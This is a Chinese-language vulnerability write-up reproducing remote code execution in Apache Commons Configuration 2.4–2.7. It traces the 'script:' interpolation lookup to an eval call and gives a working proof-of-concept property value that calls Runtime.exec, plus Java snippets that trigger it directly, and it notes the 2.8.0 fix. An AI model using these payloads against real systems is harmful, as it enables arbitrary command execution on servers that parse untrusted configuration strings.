暂无简介
简介
commons configuration可执行变量插值字符串,2.4~2.7版本默认的Lookup中包含任意代码执行的插值解析器。解析{prefix:name}
字符串达到命令执行。
影响范围:2.4~2.7
修复版本:2.8.0
该组件和java配置文件相关,并支持插值字符串的形式,先介绍下commons configuration中的插值字符串。
以下为官网的示例:
application.name = Killer App
application.version = 1.6.2
application.title = ${application.name} ${application.version}
会将application.title
解析为Killer App 1.6.2
复现
我们首先需要一个配置文件,这里以properties为例,随意写一个key,value如app.name=test
Configurations configs = new Configurations();
try {
PropertiesConfiguration properties = configs.properties(new File("my.properties"));
String string = properties.getString("app.name");
} catch (ConfigurationException e) {
e.printStackTrace();
}
接着去看一下这个字符串的值如何解析。进入debug模式一步一步跟,最后看到关键函数,org.apache.commons.configuration2.interpol.ConfigurationInterpolator#resolve
我们要看看这个prefix
可以获得哪些Lookup,进入该类,看到属性DEFAULT_PREFIX_LOOKUPS
,接着看它如何被赋值,发现在静态代码块中有对该Map的赋值。
发现有script的前缀Lookup,跟入ScriptStringLookup
。
看到这里已经很明显了,lookup()
解析字符串的逻辑,35行的eval()
函数。而且这里逻辑特别简单,以:
分割字符串,冒号前的字符串为Script的引擎名,后边为要执行的代码。
我们接着构造poc,将配置文件改为app.name=${script:javascript:java.lang.Runtime.getRuntime().exec("open -a Calculator")}
执行。
其他快速复现
- 直接调用ScriptLookup
DefaultLookups script = DefaultLookups.SCRIPT; Lookup lookup = script.getLookup(); lookup.lookup(cmd);
- 构造Interpolator对象##修复
InterpolatorSpecification spec = new InterpolatorSpecification.Builder() .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups()) .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values()) .create(); ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(spec); String str = "${script:" + cmd + "}"; interpolator.interpolate(str);
官方在2.8.0版本中默认不引用 dns,url,script,但是这些类依然存在库中。
结语
一个简单的漏洞复现过程,原理蛮简单的,就是调用js引擎的eval函数。
想复现的小伙伴可以参考下。
- 本文作者: d3v17
- 本文来源: 先知社区
- 原文链接: https://xz.aliyun.com/t/11527
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!